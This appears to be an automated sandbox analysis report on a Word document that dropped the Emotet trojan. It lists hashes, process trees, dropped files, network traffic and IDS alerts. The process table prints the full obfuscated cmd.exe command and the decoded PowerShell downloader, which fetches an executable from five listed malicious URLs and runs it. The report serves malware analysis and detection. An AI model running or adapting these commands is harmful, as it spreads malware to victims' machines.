File name: | FACTURA-UXO48822.doc |
Full analysis: | https://app.any.run/tasks/a04c9140-fa3b-4ba0-a568-bfb7b1f924aa |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 14, 2018, 20:16:42 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Dec 12 09:46:00 2018, Last Saved Time/Date: Wed Dec 12 09:46:00 2018, Number of Pages: 1, Number of Words: 3, Number of Characters: 23, Security: 0 |
MD5: | BC7763D29539CE819ABE4F75BA108F26 |
SHA1: | EB6E7A5032536E61380C9923A5488CF1D3C97CCA |
SHA256: | 5DF2004A2013E136C42770DEC6A6A128819FFA86D35EC811ACA59ECF8D935B9E |
SSDEEP: | 1536:Xocn1kp59gxBK85fBlywsznCejXOeR4o+a9:Y41k/W48fywGNXOe |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | - |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:12:12 09:46:00 |
ModifyDate: | 2018:12:12 09:46:00 |
Pages: | 1 |
Words: | 3 |
Characters: | 23 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 25 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2932 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\FACTURA-UXO48822.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
4080 | c:\hwVTsaHD\ssYnQZpltmthof\IzVnfFmvGHGwp\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set tv=kfmbLpwmQzowOlrJjshkrmiufShtgD@5T/V9,{;W+7=$qFyMZIYK(.1dP\4-:xe'cG aU)3RB0E8AnNC}v&&for %s in (43,11,39,64,42,63,65,81,21,63,38,43,13,13,68,42,77,62,11,59,10,3,16,62,64,27,66,78,62,27,53,39,62,3,79,13,22,62,77,27,38,43,48,16,15,42,63,26,27,27,5,60,33,33,55,67,81,22,77,64,22,64,10,77,64,62,5,27,17,53,64,10,21,33,79,25,10,58,47,50,58,30,26,27,27,5,60,33,33,64,20,67,22,28,13,62,62,53,3,22,9,33,32,19,47,22,50,50,4,46,26,48,30,26,27,27,5,60,33,33,28,26,10,23,13,67,17,26,53,64,10,21,33,34,64,45,3,27,49,74,41,47,30,26,27,27,5,60,33,33,55,20,67,5,67,20,27,53,10,20,28,33,56,31,76,26,39,3,21,41,21,30,26,27,27,5,60,33,33,17,27,20,22,19,62,70,5,20,10,55,23,64,27,22,10,77,17,53,64,10,21,33,79,21,61,28,19,65,56,63,53,25,5,13,22,27,52,63,30,63,69,38,43,64,26,65,42,63,44,71,64,63,38,43,49,77,13,66,42,66,63,35,54,75,63,38,43,51,56,39,42,63,27,9,64,63,38,43,67,29,21,42,43,62,77,81,60,27,62,21,5,40,63,57,63,40,43,49,77,13,40,63,53,62,61,62,63,38,24,10,20,62,67,64,26,52,43,72,11,3,66,22,77,66,43,48,16,15,69,37,27,20,46,37,43,13,13,68,53,29,10,11,77,13,10,67,55,45,22,13,62,52,43,72,11,3,36,66,43,67,29,21,69,38,43,26,11,50,42,63,65,11,47,63,38,49,24,66,52,52,65,62,27,59,49,27,62,21,66,43,67,29,21,69,53,13,62,77,28,27,26,66,59,28,62,66,75,73,73,73,73,69,66,37,49,77,81,10,19,62,59,49,27,62,21,66,43,67,29,21,38,43,77,44,56,42,63,12,8,22,63,38,3,20,62,67,19,38,80,80,64,67,27,64,26,37,80,80,43,4,49,32,42,63,9,34,49,63,38,88)do set TFE=!TFE!!tv:~%s,1!&&if %s geq 88 powershell.exe "!TFE:*TFE!=!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2596 | CmD /V/C"set tv=kfmbLpwmQzowOlrJjshkrmiufShtgD@5T/V9,{;W+7=$qFyMZIYK(.1dP\4-:xe'cG aU)3RB0E8AnNC}v&&for %s in (43,11,39,64,42,63,65,81,21,63,38,43,13,13,68,42,77,62,11,59,10,3,16,62,64,27,66,78,62,27,53,39,62,3,79,13,22,62,77,27,38,43,48,16,15,42,63,26,27,27,5,60,33,33,55,67,81,22,77,64,22,64,10,77,64,62,5,27,17,53,64,10,21,33,79,25,10,58,47,50,58,30,26,27,27,5,60,33,33,64,20,67,22,28,13,62,62,53,3,22,9,33,32,19,47,22,50,50,4,46,26,48,30,26,27,27,5,60,33,33,28,26,10,23,13,67,17,26,53,64,10,21,33,34,64,45,3,27,49,74,41,47,30,26,27,27,5,60,33,33,55,20,67,5,67,20,27,53,10,20,28,33,56,31,76,26,39,3,21,41,21,30,26,27,27,5,60,33,33,17,27,20,22,19,62,70,5,20,10,55,23,64,27,22,10,77,17,53,64,10,21,33,79,21,61,28,19,65,56,63,53,25,5,13,22,27,52,63,30,63,69,38,43,64,26,65,42,63,44,71,64,63,38,43,49,77,13,66,42,66,63,35,54,75,63,38,43,51,56,39,42,63,27,9,64,63,38,43,67,29,21,42,43,62,77,81,60,27,62,21,5,40,63,57,63,40,43,49,77,13,40,63,53,62,61,62,63,38,24,10,20,62,67,64,26,52,43,72,11,3,66,22,77,66,43,48,16,15,69,37,27,20,46,37,43,13,13,68,53,29,10,11,77,13,10,67,55,45,22,13,62,52,43,72,11,3,36,66,43,67,29,21,69,38,43,26,11,50,42,63,65,11,47,63,38,49,24,66,52,52,65,62,27,59,49,27,62,21,66,43,67,29,21,69,53,13,62,77,28,27,26,66,59,28,62,66,75,73,73,73,73,69,66,37,49,77,81,10,19,62,59,49,27,62,21,66,43,67,29,21,38,43,77,44,56,42,63,12,8,22,63,38,3,20,62,67,19,38,80,80,64,67,27,64,26,37,80,80,43,4,49,32,42,63,9,34,49,63,38,88)do set TFE=!TFE!!tv:~%s,1!&&if %s geq 88 powershell.exe "!TFE:*TFE!=!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2440 | powershell.exe "$wWc='Gvm';$llU=new-object Net.WebClient;$ZjJ='http://davinciconcepts.com/CSo4MY4@http://craiglee.biz/TkMiYYLyhZ@http://ghoulash.com/VcFbtIE7M@http://drapart.org/P5AhWbm7m@http://strike3productions.com/CmxgkGP'.Split('@');$chG='qRc';$Inl = '918';$KPW='tzc';$aDm=$env:temp+'\'+$Inl+'.exe';foreach($Bwb in $ZjJ){try{$llU.DownloadFile($Bwb, $aDm);$hwY='GwM';If ((Get-Item $aDm).length -ge 80000) {Invoke-Item $aDm;$nqP='OQi';break;}}catch{}}$LIT='zVI';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3684 | "C:\Users\admin\AppData\Local\Temp\918.exe" | C:\Users\admin\AppData\Local\Temp\918.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2400 | "C:\Users\admin\AppData\Local\Temp\918.exe" | C:\Users\admin\AppData\Local\Temp\918.exe | 918.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3984 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 918.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2492 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | archivesymbol.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2840 | "C:\Users\admin\AppData\Local\archivesymbol\kJAEtbaatQOY6FYGjw.exe" | C:\Users\admin\AppData\Local\archivesymbol\kJAEtbaatQOY6FYGjw.exe | — | archivesymbol.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3352 | "C:\Users\admin\AppData\Local\archivesymbol\kJAEtbaatQOY6FYGjw.exe" | C:\Users\admin\AppData\Local\archivesymbol\kJAEtbaatQOY6FYGjw.exe | — | kJAEtbaatQOY6FYGjw.exe |
User: admin Integrity Level: MEDIUM |
PID | Process | Filename | Type | |
---|---|---|---|---|
2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA423.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EDB5E16D.wmf | — | |
MD5:— | SHA256:— | |||
2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\65066303.wmf | — | |
MD5:— | SHA256:— | |||
2440 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AGNJDMY3EHIWGXZP35HT.temp | — | |
MD5:— | SHA256:— | |||
2440 | powershell.exe | C:\Users\admin\AppData\Local\Temp\918.exe | — | |
MD5:— | SHA256:— | |||
2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8DB2E08A.wmf | wmf | |
MD5:99192B9C7299E6ADB3F0FD23005DA053 | SHA256:EBD8725434C4108810D1C5936FF35916358EA69896867093CAA738E988A796B9 | |||
2932 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:C0E05B10780841AE15969333DA0BFE18 | SHA256:8C88F01A0964845A6E238B57D62EF68368276FA649122C778F7D617F63C6E443 | |||
2440 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13b1a0.TMP | binary | |
MD5:0C1DAA668BA499584B0AC7476368101E | SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA | |||
2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D8F3981C.wmf | wmf | |
MD5:F48E335B559F25E8BA91D38D6B14FBA0 | SHA256:D4BEE224818A359EED51E4E8BDB5F3D6EE478ADFF20EA4DBAEF73A2060E4B19C | |||
2932 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:21CBB02D61F7BAAFC56D723BA25FC260 | SHA256:877ED911A77DD0DDE6362B46872BB2586382DD634182FA1DC38D4FB4965CA307 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2440 | powershell.exe | GET | 200 | 216.51.232.170:80 | http://ghoulash.com/VcFbtIE7M/ | US | executable | 164 Kb | malicious |
2492 | archivesymbol.exe | GET | 200 | 190.146.201.54:80 | http://190.146.201.54/ | CO | gpg | 106 Kb | malicious |
2440 | powershell.exe | GET | 301 | 216.51.232.170:80 | http://ghoulash.com/VcFbtIE7M | US | html | 238 b | malicious |
2440 | powershell.exe | GET | 200 | 64.71.33.114:80 | http://craiglee.biz/TkMiYYLyhZ | US | html | 392 b | malicious |
2440 | powershell.exe | GET | 200 | 64.71.34.16:80 | http://davinciconcepts.com/CSo4MY4 | US | html | 392 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2492 | archivesymbol.exe | 190.146.201.54:80 | — | Telmex Colombia S.A. | CO | malicious |
2440 | powershell.exe | 216.51.232.170:80 | ghoulash.com | Aureon Network Services | US | malicious |
2440 | powershell.exe | 64.71.34.16:80 | davinciconcepts.com | Hostway Corporation | US | malicious |
2440 | powershell.exe | 64.71.33.114:80 | craiglee.biz | Hostway Corporation | US | malicious |
Domain | IP | Reputation |
---|---|---|
davinciconcepts.com |
| malicious |
craiglee.biz |
| malicious |
ghoulash.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
2440 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2440 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
2440 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2440 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
2440 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2440 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
2440 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2440 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2440 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2492 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |